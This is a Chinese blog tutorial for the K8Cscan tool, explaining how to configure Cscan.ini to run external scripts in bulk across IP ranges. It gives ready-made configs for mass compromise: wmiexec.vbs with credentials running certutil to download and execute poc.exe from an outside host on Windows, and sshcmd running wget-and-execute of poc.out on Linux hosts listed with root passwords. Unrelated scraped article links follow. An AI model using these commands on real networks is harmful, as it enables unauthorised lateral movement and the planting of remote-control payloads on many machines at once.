0x000 调用原理

Cscan调用外部程序有两种方式,一是编写DLL,二是配置文件

编写DLL文件对于不懂编程的人来说可能会很难(虽然支持各语言)

由于考虑到很多人不会编程或会编程又急用无法短时间转成DLL

所以特意提供ini做为调用外部程序接口,毕竟每出个EXP就写个批量工具不现实

EXP代码未必是你擅长并喜欢的代码,甚至不提供源码,没关系Cscan照样调用

配置Cscan.ini应该算是目前最容易实现Cscan自定义"插件"功能了

配置文件使用非常简单,只需配置两个参数,一是程序,二是参数

批量文件: ip.txt ip24.txt ip16.txt ip8.txt 还有 url.txt

0x001 参数说明

主程序

主程序可直接运行,直接运行会加载IP或URL文件,不存在则默认扫描当前机器所处的多个C段。

cscan (直接运行)
cscan 192.168.1.108 (单个IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8 (A段)

Cscan.ini文件

exe即程序名(系统程序可省路径,非系统程序需完整路径)

arg即参数,比方说执行net user命令,程序是net.exe参数是user

在win系统里本质上执行的是c:/windows/system32/net.exe user

VBS脚本:执行"cscript exp.vbs",本质上执行的是c:/windows/system32/cscript.exe  exp.vbs

PY脚本:  执行"python exp.py",本质上执行的是PY安装路径/python.exe  exp.py

以上不需要全路径的原因是设置了环境变量,系统自动识别了

那么Cscan要调用外部程序,就得先设置Cscan的“环境变量”

好比你点外卖,你不填写地址,让骑手去哪给你送货?

给程序一个眼神它是不会自己去体会的,连人都做不到。

下面以调用内网横向渗透脚本Wmiexec.vbs为例(脚本和cscan主程序放在同一目录)

wmiexec.vbs内网远程CMD例子: cscript wmiexec.vbs /cmd IP 用户名 密码 whoami

IP或URL文件

ip数字.txt对应着所扫列表,意味着不仅仅是批量IP列表,同时可扫描多个C段跨网段或B段等

ip.txt文件可填写任意内容不仅限于IP,url.txt仅限URL地址,批量扫描网站列表时使用。

0x002 配置Cscan.ini

新建Cscan.ini文件,内容如下

[Cscan]
exe=cscript.exe
arg=wmiexec.vbs /cmd $ip$ user pass "echo FuckOK"

ps:调用其它VBS脚本同理(有些机器默认无Whoami命令,所以执行echo返回特定内容最佳)

0x003 设置扫描范围

新建C段文件ip24.txt,内容如下(扫描以下两个C段机器)

192.168.1.8
10.1.10.5

0x004 批量验证或执行命令
运行Cscan > pwd.txt    (Cscan主程序要选用系统对应.net版本)

如图(由于批量执行的是whoami,所以成功的将会返回whoami的结果)

0x005 Windows批量上控

有人肯定要说,我不想给所有机器上控怎么办?

特定机器列表使用ip.txt,B段ip16.txt、A段ip8.txt

新建ip.txt,同时删除ip24.txt或改名(调用优先级问题)

ip.txt内容如下(仅扫描以下4个IP)

192.168.1.8
192.168.1.100
10.1.11.5
172.3.4.6

Cscan.ini内容

[Cscan]
exe=cscript.exe
arg=wmiexec.vbs /cmd $ip$ user pass "certutil.exe -urlcache -split -f http://k8gege.github.io/poc.exe&&poc.exe"

Certutil仅是其中一种下载方法,几年前就有人整理至少17种方法,就不列举了

(其它下载者命令百度、Google,关键字比也以前多什么下载执行Payload等)

现在也有很多人把人家一篇精华文章换个名词写成十几篇教程给萌新看

好像很吊的样子,但是在大量教程文章的情况下依旧有人不懂举一反三

按理说我写Cscan批量调用其它EXP例子时,就有人懂得如何批量上控

但事实并非如此,甚至有些人已接触一段时间,搞得像萌新一样还不懂

由于在统计里发现有人搜索"Cscan如何使用",加上怕有人问浪费时间

为了照顾萌新以及一些不同举一反三的“老人”,特意写此文章教程

0x006 Linux批量上控

通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控

ip.txt内容  格式: IP 端口 用户 帐密

192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test

PS:ip.txt不仅限于IP,可灵活配置,这点我不写教程真的没几个人知道,因为早期版本我加了正则非IP是无法传参的

Windows批量同理,这样就可以批量验证不懂端口不同帐密了,详见:https://www.cnblogs.com/k8gege/p/10995625.html

Cscan.ini内容

[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"

 0x007 执行多条命令

执行多条CMD命令,前提是调用cmd.exe,远控shell默认指向cmd.exe,

所以当执行任意CMD命令都支持管道符号重定向符号等特殊符号。

例子:通过CMD调用PING命令以及Find命令检测存活主机

对应Cscan.in

[Cscan]
exe=cmd.exe
arg=/c ping -n 1 $ip | find "ms"

exe参数写成ping.exe的话,后面的|符号将失效,因为你是基于ping.exe上执行管道命令,ping命令不支持所以当然会报错。

并非是Cscan不支持管道符号,exe写成cmd.exe就和你在系统打开cmd执行命令一模一样,系统执行正常Cscan就正常。

有些人可能会问默认写成cmd不就只需要配置一个参数,更简便?

可以设想一下,假设写死cmd,每次执行一次ping命令或多条命令,就得打开一个CMD进程

很多人可能会说人家远控终Shell都这么写,但是你有想过远控cmd和直接系统上执行CMD差不多

你手工执行几个ping命令,先调用cmd再打开ping没问题,但是批量呢,调用一次ping命令,

还要先经过一次cmd.exe,你觉得这样效率会高吗,可能有人会说不就0.几秒不到。

实际上你有没想过,系统打开几十个CMD进程和几十个PING进程还有几十个FIND进程

多几个进程内存占用是多少?占用卡了就会阻塞,崩或者无法继续,可能超时很久才到下一个命令。

最简单的例子,使用BAT文件用FOR命令来执行几百个操作,你可能遇到过cmd卡死

CPU直接100%的情况,导致被调用的EXP无法正常工作,因为Bat不支持多线程。

同时执行几个几乎不影响,不等于执行一堆不受影响,虽然Cscan.ini也是多线程调用,

但毕竟是调用进程,调用进程受到很多因素影响,最直接的就是系统内存,被调用程序

未对程序进行优化处理或其它原因,可能会导致批量调用后出现类似CPU卡死的情况。

调用进程的多线程方式是最LOW的,可能会导致各种各样的问题,所以建义写成DLL。

0x008 保存结果

1.可以在调用命令里重定向输出,注意目录需要有写权限,别写入system32目录哦

arg=/c ping -n 1 $ip$ | find "ms" >> C:\Users\k8gege\Desktop\Cscan\1.txt

2.可以直接Cscan > scan.txt 保存结果,当然这样扫的时候cmd里看不到结果

实战的时候推荐第2条,因为你要是扫大量IP时,菜刀或者远控shell超时不一定有结果

重定向输出等其扫完,下载回本地看即可。

0x009 下载

https://github.com/k8gege/K8CScan

https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

https://github.com/k8gege/sshshell

[教程]K8Cscan调用外部程序(Win/Linux批量上控/执行多条命令/保存结果)的更多相关文章

  1. Linux操作系统上要慎用的6个命令及防范方法

    Linux操作系统上要慎用的6个命令及防范方法 基于Linux平台工作的童鞋都知道Linux命令行使用起来非常高效和快捷,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候(别笑,别以为自己真的 ...

  2. linux服务器上nginx日志访问量统计命令

    linux服务器上nginx日志访问量统计命令 日志文件所在地方:/var/log/nginx/access_iqueendress.com.log/var/log/nginx/access_m.iq ...

  3. linux系统执行多条命令,linux系统执行复合命令

    在操作linux系统的时候,你是否遇到过打开一个目录,然后查看一个文件里面的内容. 我们可以使用命令   cd + 目录     cat + 文件名,我们需要输入两次,点击两次 enter   有没有 ...

  4. Linux下间隔多少秒 (即以秒为单位) 去执行某条命令或某个shell脚本的操作方法【转】

    在日常运维工作中, 经常会碰到以秒为单位去定时执行某些命令或监控脚本的需求. 说到定时任务就要用到crontab,通常来说,crontab的最小单位是分钟级别,要想实现秒级别的定时任务,就要进行特殊设 ...

  5. Python——cmd调用(os.system阻塞处理)(多条命令执行)

    os.system(返回值为0,1,2)方法 0:成功 1:失败 2:错误 os.system默认阻塞当前程序执行,在cmd命令前加入start可不阻塞当前程序执行. 例如: import os os ...

  6. 使用WebUploader实现文件批量上传,进度条显示功能

    知识点:利用WebUploader,实现文件批量上传,并且实时显示文件的上传进度 参考官方文档:http://fex.baidu.com/webuploader/ (1)引入三个资源 JS,CSS,S ...

  7. Jquery.Uploadify实现批量上传显示进度条 取消 上传后缩略图显示 可删除

    <%@ Page Language="C#" AutoEventWireup="true" CodeFile="UpLoad.aspx.cs&q ...

  8. 【网站建设】Linux上安装MySQL - 12条命令搞定MySql

    从零开始安装mysql数据库 : 按照该顺序执行 :  a. 查看是否安装有mysql:yum list installed mysql*, 如果有先卸载掉, 然后在进行安装; b. 安装mysql客 ...

  9. Linux上安装MySQL - 12条命令搞定MySql

    从零开始安装mysql数据库 : 按照该顺序执行 :  a. 查看是否安装有mysql:yum list installed mysql*, 如果有先卸载掉, 然后在进行安装; b. 安装mysql客 ...

随机推荐

  1. 解决:The web application [] registered the JDBC driver [] but failed to unregister it when the web application was stopped. To prevent a memory leak, the JDBC Driver has been forcibly unregistered.

    问题描述 在将Spring Boot程序打包生成的war包部署到Tomcat后,启动Tomcat时总是报错,但是直接在IDEA中启动Application或者用"java -jar" ...

  2. js正则只能包含小写数字分割符,切不能以分割符开头和结尾

    const version = /^(?!_)(?!.*-$)[a-z0-9_]+$/; 1.一个正则表达式,只含有数字.小写字母.中划线不能以中划线开头和结尾: ^(?!-)(?!.*-$)[a-z ...

  3. 第一篇 Scrum 冲刺博客

    一.各个成员在 Alpha 阶段认领的任务 姓名 Alpha 阶段认领的任务 林剑峰 用户信息页面:完成用户信息的上传 石竞贤 发布信息页面:完成用户图片上传云存储的功能,并且把发布信息上传到云数据库 ...

  4. Jenkins+GitLab+Docker+SpringCloud实现可持续自动化微服务

    本文很长很长,但是句句干货,点赞关注收藏后有惊喜在文末等你 现有混合云平台的场景下,即有线下和线上的环境,又有测试与正式的场景,而且结合了Docker,导致打包内容有所区分,且服务的发布流程复杂起来, ...

  5. django环境搭建(基于anaconda环境)

    环境:win7,anaconda,python3.5 1.介绍 Django特点:具有完整的封装,开发者可以高效率的开发项目,Django将大部分的功能进行了封装,开发者只需要调用即可,如此,大大的缩 ...

  6. 最常见Linux操作

    命令 含义 cd /home/hadoop #把/home/hadoop设置为当前目录 cd .. #返回上一级目录 cd ~ #进入到当前Linux系统登录用户的主目录(或主文件夹).在 Linux ...

  7. flask实战-个人博客-编写博客前台

    编写博客前台 博客前台需要开放给所有用户,这里包括显示文章列表.博客信息.文章内容和评论等功能功能. 分页显示文章列表 为了在主页显示文章列表,我们要先在渲染主页模板的index视图的数据库中获取所有 ...

  8. NOIP 2015 推销员

    洛谷 P2672 推销员 洛谷传送门 JDOJ 2994: [NOIP2015]推销员 T4 JDOJ传送门 Description 阿明是一名推销员,他奉命到螺丝街推销他们公司的产品.螺丝街是一条死 ...

  9. 第二阶段冲刺(个人)——two

    今天的计划: 测试登录功能并优化. 昨天做了什么呢?  修改登录界面. 遇到的困难:一些标签运用不好,过程进度慢,改了又改.

  10. [RN] React Native 中使用 stickyHeaderIndices 实现 ScrollView 的吸顶效果

    React Native中,ScrollView组件可以使用 stickyHeaderIndices 轻松实现 sticky 效果. 例如下面代码中: <ScrollView showsVert ...